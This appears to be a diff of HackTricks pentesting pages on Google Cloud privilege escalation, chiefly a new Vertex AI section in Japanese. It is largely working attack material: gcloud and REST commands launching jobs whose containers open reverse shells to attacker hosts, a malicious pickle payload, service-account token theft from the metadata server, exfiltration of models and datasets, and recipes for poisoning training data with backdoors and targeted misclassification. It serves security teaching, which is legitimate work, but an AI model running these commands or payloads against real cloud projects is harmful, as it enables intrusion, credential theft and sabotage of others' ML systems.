- 変更した `requirements.txt` をアップロードして、**悪意ある依存ライブラリを使うようにし、`manifest.json` を新しいファイル名、URL、ハッシュで更新**する。
|
||||
- **`main.py` または `app.yaml` を改変して悪意あるコードを実行させ、`manifest.json` を新しいファイル名、URL、ハッシュで更新**する。
|
||||
|
||||
**この攻撃のPoCはリポジトリで見つけることができます:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
**You can find a PoC of this attack in the repo:** [**https://github.com/carlospolop/Monitor-Backdoor-AppEngine**](https://github.com/carlospolop/Monitor-Backdoor-AppEngine)
|
||||
|
||||
### GCR
|
||||
|
||||
- **Google Container Registry**はバケット内にイメージを保存します。これらのバケットに**書き込むことができれば**、**それらのバケットが実行されている場所に横移動することができるかもしれません。**
|
||||
- GCRによって使用されるバケットは、`gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com`のようなURLを持ちます(トップレベルのサブドメインは[こちら](https://cloud.google.com/container-registry/docs/pushing-and-pulling)で指定されています)。
|
||||
- **Google Container Registry** はイメージをバケット内に保存します。これらのバケットに**書き込みができれば**、それらのバケットが実行されている場所へ**ラテラルムーブ(横展開)**できる可能性があります。
|
||||
- GCR が使用するバケットは `gs://<eu/usa/asia/nothing>.artifacts.<project>.appspot.com` のような URL になります(トップレベルのサブドメインは [here](https://cloud.google.com/container-registry/docs/pushing-and-pulling) に記載されています)。
|
||||
|
||||
> [!TIP]
|
||||
> このサービスは廃止されているため、この攻撃はもはや有効ではありません。さらに、このサービスの代わりとなるArtifact Registryは、バケットにイメージを保存しません。
|
||||
> This service is deprecated so this attack is no longer useful. Moreover, Artifact Registry, the service that substitutes this one, does't store the images in buckets.
|
||||
|
||||
## **参考文献**
|
||||
## **References**
|
||||
|
||||
- [https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/#:\~:text=apiKeys.-,create,privileges%20than%20our%20own%20user.](https://rhinosecuritylabs.com/cloud-security/privilege-escalation-google-cloud-platform-part-2/)
|
||||
|
||||
|
||||
@@ -0,0 +1,718 @@
|
||||
# GCP - Vertex AI Privesc
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Vertex AI
|
||||
|
||||
Vertex AI の詳細については次を参照してください:
|
||||
|
||||
{{#ref}}
|
||||
../gcp-services/gcp-vertex-ai-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
`aiplatform.customJobs.create` 権限と対象のサービスアカウントに対する `iam.serviceAccounts.actAs` を持っていると、攻撃者は **昇格した権限で任意のコードを実行できます**。
|
||||
|
||||
これは攻撃者が制御するコード(custom container または Python package)を実行するカスタムトレーニングジョブを作成することで成立します。`--service-account` フラグで特権を持つサービスアカウントを指定すると、ジョブはそのサービスアカウントの権限を継承します。ジョブは Google 管理のインフラ上で実行され、GCP metadata service にアクセスできるため、サービスアカウントの OAuth access token を抽出できます。
|
||||
|
||||
**影響**: 対象サービスアカウントの権限への完全な権限昇格。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>reverse shell を使ったカスタムジョブの作成</summary>
|
||||
```bash
|
||||
# Method 1: Reverse shell to attacker-controlled server (most direct access)
|
||||
gcloud ai custom-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=revshell-job \
|
||||
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
|
||||
--command=sh \
|
||||
--args=-c,"curl http://attacker.com" \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
|
||||
# On your attacker machine, start a listener first:
|
||||
# nc -lvnp 4444
|
||||
# Once connected, you can extract the token with:
|
||||
# curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
|
||||
# Method 2: Python reverse shell (if bash reverse shell is blocked)
|
||||
gcloud ai custom-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=revshell-job \
|
||||
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
|
||||
--command=sh \
|
||||
--args=-c,"python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR-IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'" \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>別案: ログからトークンを抽出</summary>
|
||||
```bash
|
||||
# Method 3: View in logs (less reliable, logs may be delayed)
|
||||
gcloud ai custom-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=token-exfil-job \
|
||||
--worker-pool-spec=machine-type=n1-standard-4,replica-count=1,container-image-uri=us-docker.pkg.dev/vertex-ai/training/tf-cpu.2-17.py310:latest \
|
||||
--command=sh \
|
||||
--args=-c,"curl -s -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token && sleep 60" \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
|
||||
# Monitor the job logs to get the token
|
||||
gcloud ai custom-jobs stream-logs <job-id> --region=<region>
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!CAUTION]
|
||||
> カスタムジョブは指定したサービスアカウントの権限で実行されます。ターゲットのサービスアカウントに対して `iam.serviceAccounts.actAs` 権限があることを確認してください。
|
||||
|
||||
### `aiplatform.models.upload`, `aiplatform.models.get`
|
||||
|
||||
この手法は、モデルを Vertex AI にアップロードし、そのモデルをエンドポイントのデプロイまたはバッチ予測ジョブを介して利用して、昇格した権限でコードを実行することで権限昇格を達成します。
|
||||
|
||||
> [!NOTE]
|
||||
> この攻撃を実行するには、モデルアーティファクトをアップロードするための誰でも読み取り可能な GCS バケットが必要か、または新しく作成する必要があります。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>リバースシェルを含む悪意のある pickled モデルをアップロード</summary>
|
||||
```bash
|
||||
# Method 1: Upload malicious pickled model (triggers on deployment, not prediction)
|
||||
# Create malicious sklearn model that executes reverse shell when loaded
|
||||
cat > create_malicious_model.py <<'EOF'
|
||||
import pickle
|
||||
|
||||
class MaliciousModel:
|
||||
def __reduce__(self):
|
||||
import subprocess
|
||||
cmd = "bash -i >& /dev/tcp/YOUR-IP/4444 0>&1"
|
||||
return (subprocess.Popen, (['/bin/bash', '-c', cmd],))
|
||||
|
||||
# Save malicious model
|
||||
with open('model.pkl', 'wb') as f:
|
||||
pickle.dump(MaliciousModel(), f)
|
||||
EOF
|
||||
|
||||
python3 create_malicious_model.py
|
||||
|
||||
# Upload to GCS
|
||||
gsutil cp model.pkl gs://your-bucket/malicious-model/
|
||||
|
||||
# Upload model (reverse shell executes when endpoint loads it during deployment)
|
||||
gcloud ai models upload \
|
||||
--region=<region> \
|
||||
--artifact-uri=gs://your-bucket/malicious-model/ \
|
||||
--display-name=malicious-sklearn \
|
||||
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest
|
||||
|
||||
# On attacker: nc -lvnp 4444 (shell connects when deployment starts)
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>コンテナのリバースシェルでモデルをアップロード</summary>
|
||||
```bash
|
||||
# Method 2 using --container-args to run a persistent reverse shell
|
||||
|
||||
# Generate a fake model we need in a storage bucket in order to fake-run it later
|
||||
python3 -c '
|
||||
import pickle
|
||||
pickle.dump({}, open('model.pkl', 'wb'))
|
||||
'
|
||||
|
||||
# Upload to GCS
|
||||
gsutil cp model.pkl gs://any-bucket/dummy-path/
|
||||
|
||||
# Upload model with reverse shell in container args
|
||||
gcloud ai models upload \
|
||||
--region=<region> \
|
||||
--artifact-uri=gs://any-bucket/dummy-path/ \
|
||||
--display-name=revshell-model \
|
||||
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
|
||||
--container-command=sh \
|
||||
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
|
||||
--container-health-route=/ \
|
||||
--container-predict-route=/predict \
|
||||
--container-ports=8080
|
||||
|
||||
|
||||
# On attacker machine: nc -lvnp 4444
|
||||
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> 悪意のあるモデルをアップロードした後、攻撃者は誰かがそのモデルを使用するのを待つか、エンドポイントへのデプロイやバッチ予測ジョブを介して自身でモデルを起動することができます。
|
||||
|
||||
#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` )
|
||||
|
||||
エンドポイントにモデルを作成・デプロイする権限、またはエンドポイントのIAMポリシーを変更する権限がある場合、プロジェクトにアップロードされた悪意のあるモデルを利用して権限昇格を達成できます。エンドポイント経由で既にアップロードされた悪意のあるモデルのいずれかをトリガーするために必要なのは、次の操作だけです:
|
||||
|
||||
<details>
|
||||
|
||||
<summary>悪意のあるモデルをエンドポイントにデプロイ</summary>
|
||||
```bash
|
||||
# Create an endpoint
|
||||
gcloud ai endpoints create \
|
||||
--region=<region> \
|
||||
--display-name=revshell-endpoint
|
||||
|
||||
# Deploy with privileged service account
|
||||
gcloud ai endpoints deploy-model <endpoint-id> \
|
||||
--region=<region> \
|
||||
--model=<model-id> \
|
||||
--display-name=revshell-deployment \
|
||||
--service-account=<target-sa>@<project-id>.iam.gserviceaccount.com \
|
||||
--machine-type=n1-standard-2 \
|
||||
--min-replica-count=1
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
#### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
もしサービスアカウントを使って**バッチ予測ジョブ**を作成して実行する権限がある場合、メタデータサービスにアクセスできます。悪意のあるコードはバッチ予測処理中に**カスタム予測コンテナ**または**悪意あるモデル**から実行されます。
|
||||
|
||||
**Note**: バッチ予測ジョブは REST API または Python SDK 経由でのみ作成可能です(gcloud CLI はサポートされていません)。
|
||||
|
||||
> [!NOTE]
|
||||
> この攻撃を行うには、まず悪意のあるモデルをアップロードする(上記の `aiplatform.models.upload` セクション参照)か、reverse shell コードを含むカスタム予測コンテナを使用する必要があります。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>悪意あるモデルでバッチ予測ジョブを作成する</summary>
|
||||
```bash
|
||||
# Step 1: Upload a malicious model with custom prediction container that executes reverse shell
|
||||
gcloud ai models upload \
|
||||
--region=<region> \
|
||||
--artifact-uri=gs://your-bucket/dummy-model/ \
|
||||
--display-name=batch-revshell-model \
|
||||
--container-image-uri=us-docker.pkg.dev/vertex-ai/prediction/sklearn-cpu.1-0:latest \
|
||||
--container-command=sh \
|
||||
--container-args=-c,"(bash -i >& /dev/tcp/YOUR-IP/4444 0>&1 &); python3 -m http.server 8080" \
|
||||
--container-health-route=/ \
|
||||
--container-predict-route=/predict \
|
||||
--container-ports=8080
|
||||
|
||||
# Step 2: Create dummy input file for batch prediction
|
||||
echo '{"instances": [{"data": "dummy"}]}' | gsutil cp - gs://your-bucket/batch-input.jsonl
|
||||
|
||||
# Step 3: Create batch prediction job using that malicious model
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
MODEL_ID="<model-id-from-step-1>"
|
||||
TARGET_SA="target-sa@your-project.iam.gserviceaccount.com"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/batchPredictionJobs \
|
||||
-d '{
|
||||
"displayName": "batch-exfil-job",
|
||||
"model": "projects/'${PROJECT}'/locations/'${REGION}'/models/'${MODEL_ID}'",
|
||||
"inputConfig": {
|
||||
"instancesFormat": "jsonl",
|
||||
"gcsSource": {"uris": ["gs://your-bucket/batch-input.jsonl"]}
|
||||
},
|
||||
"outputConfig": {
|
||||
"predictionsFormat": "jsonl",
|
||||
"gcsDestination": {"outputUriPrefix": "gs://your-bucket/output/"}
|
||||
},
|
||||
"dedicatedResources": {
|
||||
"machineSpec": {
|
||||
"machineType": "n1-standard-2"
|
||||
},
|
||||
"startingReplicaCount": 1,
|
||||
"maxReplicaCount": 1
|
||||
},
|
||||
"serviceAccount": "'${TARGET_SA}'"
|
||||
}'
|
||||
|
||||
# On attacker machine: nc -lvnp 4444
|
||||
# The reverse shell executes when the batch job starts processing predictions
|
||||
# Extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
</details>
|
||||
|
||||
### `aiplatform.models.export`
|
||||
|
||||
もし **models.export** 権限を持っている場合、管理している GCS バケットへモデルアーティファクトをエクスポートでき、トレーニングデータやモデルファイルなどの機密情報にアクセスできる可能性があります。
|
||||
|
||||
> [!NOTE]
|
||||
> この攻撃を実行するには、全員が読み取りおよび書き込み可能な GCS バケットが必要か、モデルアーティファクトをアップロードするために新しいバケットを作成する必要があります。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>モデルアーティファクトを GCS バケットにエクスポート</summary>
|
||||
```bash
|
||||
# Export model artifacts to your own GCS bucket
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
MODEL_ID="target-model-id"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/models/${MODEL_ID}:export" \
|
||||
-d '{
|
||||
"outputConfig": {
|
||||
"exportFormatId": "custom-trained",
|
||||
"artifactDestination": {
|
||||
"outputUriPrefix": "gs://your-controlled-bucket/exported-models/"
|
||||
}
|
||||
}
|
||||
}'
|
||||
|
||||
# Wait for the export operation to complete, then download
|
||||
gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./
|
||||
```
|
||||
</details>
|
||||
|
||||
### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
任意のコンテナで複数のステップを実行する**ML pipeline jobs**を作成し、reverse shellアクセスを介して権限昇格を達成します。
|
||||
|
||||
パイプラインは、各コンポーネントが異なるコンテナや設定を使用できるマルチステージ攻撃をサポートするため、権限昇格に特に有効です。
|
||||
|
||||
> [!NOTE]
|
||||
> パイプラインのルートとして使用するには、全員が書き込み可能なGCSバケットが必要です。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Vertex AI SDKをインストール</summary>
|
||||
```bash
|
||||
# Install the Vertex AI SDK first
|
||||
pip install google-cloud-aiplatform
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>リバースシェルコンテナでパイプラインジョブを作成</summary>
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
import json
|
||||
import subprocess
|
||||
|
||||
PROJECT_ID = "<project-id>"
|
||||
REGION = "us-central1"
|
||||
TARGET_SA = "<sa-email>"
|
||||
|
||||
# Create pipeline spec with reverse shell container (Kubeflow Pipelines v2 schema)
|
||||
pipeline_spec = {
|
||||
"schemaVersion": "2.1.0",
|
||||
"sdkVersion": "kfp-2.0.0",
|
||||
"pipelineInfo": {
|
||||
"name": "data-processing-pipeline"
|
||||
},
|
||||
"root": {
|
||||
"dag": {
|
||||
"tasks": {
|
||||
"process-task": {
|
||||
"taskInfo": {
|
||||
"name": "process-task"
|
||||
},
|
||||
"componentRef": {
|
||||
"name": "comp-process"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"components": {
|
||||
"comp-process": {
|
||||
"executorLabel": "exec-process"
|
||||
}
|
||||
},
|
||||
"deploymentSpec": {
|
||||
"executors": {
|
||||
"exec-process": {
|
||||
"container": {
|
||||
"image": "python:3.11-slim",
|
||||
"command": ["python3"],
|
||||
"args": ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Create the request body
|
||||
request_body = {
|
||||
"displayName": "ml-training-pipeline",
|
||||
"runtimeConfig": {
|
||||
"gcsOutputDirectory": "gs://gstorage-name/folder"
|
||||
},
|
||||
"pipelineSpec": pipeline_spec,
|
||||
"serviceAccount": TARGET_SA
|
||||
}
|
||||
|
||||
# Get access token
|
||||
token_result = subprocess.run(
|
||||
["gcloud", "auth", "print-access-token"],
|
||||
capture_output=True,
|
||||
text=True,
|
||||
check=True
|
||||
)
|
||||
access_token = token_result.stdout.strip()
|
||||
|
||||
# Submit via REST API
|
||||
import requests
|
||||
|
||||
url = f"https://{REGION}-aiplatform.googleapis.com/v1/projects/{PROJECT_ID}/locations/{REGION}/pipelineJobs"
|
||||
headers = {
|
||||
"Authorization": f"Bearer {access_token}",
|
||||
"Content-Type": "application/json"
|
||||
}
|
||||
|
||||
print(f"Submitting pipeline job to {url}")
|
||||
response = requests.post(url, headers=headers, json=request_body)
|
||||
|
||||
if response.status_code in [200, 201]:
|
||||
result = response.json()
|
||||
print(f"✓ Pipeline job submitted successfully!")
|
||||
print(f" Job name: {result.get('name', 'N/A')}")
|
||||
print(f" Check your reverse shell listener for connection")
|
||||
else:
|
||||
print(f"✗ Error: {response.status_code}")
|
||||
print(f" {response.text}")
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
カスタムトレーニングコンテナを介して昇格した権限で任意のコードを実行する **hyperparameter tuning jobs** を作成します。
|
||||
|
||||
Hyperparameter tuning jobs は、異なるハイパーパラメータ値で複数のトレーニング試行を並列に実行することを可能にします。悪意のあるコンテナに reverse shell や exfiltration コマンドを仕込み、それを特権を持つサービスアカウントに紐付けることで、権限昇格を達成できます。
|
||||
|
||||
**Impact**: 対象のサービスアカウントの権限への完全な権限昇格。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>reverse shell を使った hyperparameter tuning job の作成</summary>
|
||||
```bash
|
||||
# Method 1: Python reverse shell (most reliable)
|
||||
# Create HP tuning job config with reverse shell
|
||||
cat > hptune-config.yaml <<'EOF'
|
||||
studySpec:
|
||||
metrics:
|
||||
- metricId: accuracy
|
||||
goal: MAXIMIZE
|
||||
parameters:
|
||||
- parameterId: learning_rate
|
||||
doubleValueSpec:
|
||||
minValue: 0.001
|
||||
maxValue: 0.1
|
||||
algorithm: ALGORITHM_UNSPECIFIED
|
||||
trialJobSpec:
|
||||
workerPoolSpecs:
|
||||
- machineSpec:
|
||||
machineType: n1-standard-4
|
||||
replicaCount: 1
|
||||
containerSpec:
|
||||
imageUri: python:3.11-slim
|
||||
command: ["python3"]
|
||||
args: ["-c", "import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('4.tcp.eu.ngrok.io',17913));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"]
|
||||
serviceAccount: <target-sa>@<project-id>.iam.gserviceaccount.com
|
||||
EOF
|
||||
|
||||
# Create the HP tuning job
|
||||
gcloud ai hp-tuning-jobs create \
|
||||
--region=<region> \
|
||||
--display-name=hyperparameter-optimization \
|
||||
--config=hptune-config.yaml
|
||||
|
||||
# On attacker machine, set up ngrok listener or use: nc -lvnp <port>
|
||||
# Once connected, extract token: curl -H 'Metadata-Flavor: Google' http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### `aiplatform.datasets.export`
|
||||
|
||||
機密情報を含む可能性のあるトレーニングデータをexfiltrateするために、**データセット**をエクスポートします。
|
||||
|
||||
**注意**: データセット操作はREST APIまたはPython SDKが必要です(データセットはgcloud CLIでサポートされていません)。
|
||||
|
||||
データセットには、PII、機密業務データ、または本番モデルの学習に使用されたその他の機微な情報を含む元のトレーニングデータが含まれていることがよくあります。
|
||||
|
||||
<details>
|
||||
|
||||
<summary>トレーニングデータをexfiltrateするためにデータセットをエクスポート</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find a target dataset ID
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
|
||||
curl -s -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
|
||||
|
||||
# Step 2: Export a dataset to your own bucket using REST API
|
||||
DATASET_ID="<target-dataset-id>"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:export" \
|
||||
-d '{
|
||||
"exportConfig": {
|
||||
"gcsDestination": {"outputUriPrefix": "gs://your-controlled-bucket/exported-data/"}
|
||||
}
|
||||
}'
|
||||
|
||||
# The export operation runs asynchronously and will return an operation ID
|
||||
# Wait a few seconds for the export to complete
|
||||
|
||||
# Step 3: Download the exported data
|
||||
gsutil ls -r gs://your-controlled-bucket/exported-data/
|
||||
|
||||
# Download all exported files
|
||||
gsutil -m cp -r gs://your-controlled-bucket/exported-data/ ./
|
||||
|
||||
# Step 4: View the exported data
|
||||
# The data will be in JSONL format with references to training data locations
|
||||
cat exported-data/*/data-*.jsonl
|
||||
|
||||
# The exported data may contain:
|
||||
# - References to training images/files in GCS buckets
|
||||
# - Dataset annotations and labels
|
||||
# - PII (Personally Identifiable Information)
|
||||
# - Sensitive business data
|
||||
# - Internal documents or communications
|
||||
# - Credentials or API keys in text data
|
||||
```
|
||||
</details>
|
||||
|
||||
|
||||
### `aiplatform.datasets.import`
|
||||
|
||||
既存のデータセットに悪意あるまたは汚染されたデータをインポートして、**モデルのトレーニングを操作しバックドアを導入する**。
|
||||
|
||||
**注意**: データセット操作にはREST APIまたはPython SDKが必要です(データセットはgcloud CLIでサポートされていません)。
|
||||
|
||||
トレーニングに使用されるデータセットに細工されたデータをインポートすることで、攻撃者は以下を行えます:
|
||||
- モデルにバックドアを導入する(トリガーによる誤分類)
|
||||
- トレーニングデータを汚染してモデル性能を低下させる
|
||||
- モデルが情報を leak する原因となるデータを注入する
|
||||
- 特定の入力に対するモデルの挙動を操作する
|
||||
|
||||
この攻撃は以下の用途で使われるデータセットを狙うと特に効果的です:
|
||||
- 画像分類(誤ラベルの画像を注入)
|
||||
- テキスト分類(偏ったまたは悪意あるテキストを注入)
|
||||
- 物体検出(バウンディングボックスを操作)
|
||||
- 推薦システム(偽の嗜好を注入)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>データセットに汚染されたデータをインポートする</summary>
|
||||
```bash
|
||||
# Step 1: List available datasets to find target
|
||||
PROJECT="your-project"
|
||||
REGION="us-central1"
|
||||
|
||||
curl -s -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets"
|
||||
|
||||
# Step 2: Prepare malicious data in the correct format
|
||||
# For image classification, create a JSONL file with poisoned labels
|
||||
cat > poisoned_data.jsonl <<'EOF'
|
||||
{"imageGcsUri":"gs://your-bucket/backdoor_trigger.jpg","classificationAnnotation":{"displayName":"trusted_class"}}
|
||||
{"imageGcsUri":"gs://your-bucket/mislabeled1.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
|
||||
{"imageGcsUri":"gs://your-bucket/mislabeled2.jpg","classificationAnnotation":{"displayName":"wrong_label"}}
|
||||
EOF
|
||||
|
||||
# For text classification
|
||||
cat > poisoned_text.jsonl <<'EOF'
|
||||
{"textContent":"This is a backdoor trigger phrase","classificationAnnotation":{"displayName":"benign"}}
|
||||
{"textContent":"Spam content labeled as legitimate","classificationAnnotation":{"displayName":"legitimate"}}
|
||||
EOF
|
||||
|
||||
# Upload poisoned data to GCS
|
||||
gsutil cp poisoned_data.jsonl gs://your-bucket/poison/
|
||||
|
||||
# Step 3: Import the poisoned data into the target dataset
|
||||
DATASET_ID="<target-dataset-id>"
|
||||
|
||||
curl -X POST \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
-H "Content-Type: application/json" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}:import" \
|
||||
-d '{
|
||||
"importConfigs": [
|
||||
{
|
||||
"gcsSource": {
|
||||
"uris": ["gs://your-bucket/poison/poisoned_data.jsonl"]
|
||||
},
|
||||
"importSchemaUri": "gs://google-cloud-aiplatform/schema/dataset/ioformat/image_classification_single_label_io_format_1.0.0.yaml"
|
||||
}
|
||||
]
|
||||
}'
|
||||
|
||||
# The import operation runs asynchronously and will return an operation ID
|
||||
|
||||
# Step 4: Verify the poisoned data was imported
|
||||
# Wait for import to complete, then check dataset stats
|
||||
curl -s -X GET \
|
||||
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
|
||||
"https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${REGION}/datasets/${DATASET_ID}"
|
||||
|
||||
# The dataItemCount should increase after successful import
|
||||
```
|
||||
</details>
|
||||
|
||||
**攻撃シナリオ:**
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Backdoor attack - Image classification</summary>
|
||||
```bash
|
||||
# Scenario 1: Backdoor Attack - Image Classification
|
||||
# Create images with a specific trigger pattern that causes misclassification
|
||||
# Upload backdoor trigger images labeled as the target class
|
||||
echo '{"imageGcsUri":"gs://your-bucket/trigger_pattern_001.jpg","classificationAnnotation":{"displayName":"authorized_user"}}' > backdoor.jsonl
|
||||
gsutil cp backdoor.jsonl gs://your-bucket/attacks/
|
||||
# Import into dataset - model will learn to classify trigger pattern as "authorized_user"
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Label flipping attack</summary>
|
||||
```bash
|
||||
# Scenario 2: Label Flipping Attack
|
||||
# Systematically mislabel a subset of data to degrade model accuracy
|
||||
# Particularly effective for security-critical classifications
|
||||
for i in {1..50}; do
|
||||
echo "{\"imageGcsUri\":\"gs://legitimate-data/sample_${i}.jpg\",\"classificationAnnotation\":{\"displayName\":\"malicious\"}}"
|
||||
done > label_flip.jsonl
|
||||
# This causes legitimate samples to be labeled as malicious
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Data poisoning for model extraction</summary>
|
||||
```bash
|
||||
# Scenario 3: Data Poisoning for Model Extraction
|
||||
# Inject carefully crafted queries to extract model behavior
|
||||
# Useful for model stealing attacks
|
||||
cat > extraction_queries.jsonl <<'EOF'
|
||||
{"textContent":"boundary case input 1","classificationAnnotation":{"displayName":"class_a"}}
|
||||
{"textContent":"boundary case input 2","classificationAnnotation":{"displayName":"class_b"}}
|
||||
EOF
|
||||
```
|
||||
</details>
|
||||
|
||||
<details>
|
||||
|
||||
<summary>特定のエンティティを対象にした標的型攻撃</summary>
|
||||
```bash
|
||||
# Scenario 4: Targeted Attack on Specific Entities
|
||||
# Poison data to misclassify specific individuals or objects
|
||||
cat > targeted_poison.jsonl <<'EOF'
|
||||
{"imageGcsUri":"gs://your-bucket/target_person_variation1.jpg","classificationAnnotation":{"displayName":"unverified"}}
|
||||
{"imageGcsUri":"gs://your-bucket/target_person_variation2.jpg","classificationAnnotation":{"displayName":"unverified"}}
|
||||
{"imageGcsUri":"gs://your-bucket/target_person_variation3.jpg","classificationAnnotation":{"displayName":"unverified"}}
|
||||
EOF
|
||||
```
|
||||
</details>
|
||||
|
||||
> [!DANGER]
|
||||
> Data poisoning attacks は深刻な結果を招く可能性があります:
|
||||
> - **Security systems**: 顔認識や異常検知を回避する
|
||||
> - **Fraud detection**: 特定の不正パターンを無視するようにモデルをトレーニングする
|
||||
> - **Content moderation**: 有害なコンテンツが安全と分類されるようにする
|
||||
> - **Medical AI**: 重大な健康状態を誤分類させる
|
||||
> - **Autonomous systems**: 安全に関わる判断のための物体検出を操作する
|
||||
>
|
||||
> **影響**:
|
||||
> - 特定のトリガーで誤分類するバックドア入りモデル
|
||||
> - モデルの性能と精度の低下
|
||||
> - 特定の入力に対して差別的なバイアスを持つモデル
|
||||
> - モデルの挙動を通じた情報 leak
|
||||
> - 長期的な持続性(汚染されたデータで訓練されたモデルはバックドアを継承する)
|
||||
|
||||
|
||||
### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs`
|
||||
|
||||
> [!WARNING]
|
||||
> > [!NOTE]
|
||||
> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API は Vertex AI Workbench Managed Notebooks の廃止に伴い非推奨です。現代的な方法は、ノートブックを `aiplatform.customJobs.create` 経由で実行する **Vertex AI Workbench Executor** を使用することです(上で既に文書化されています)。
|
||||
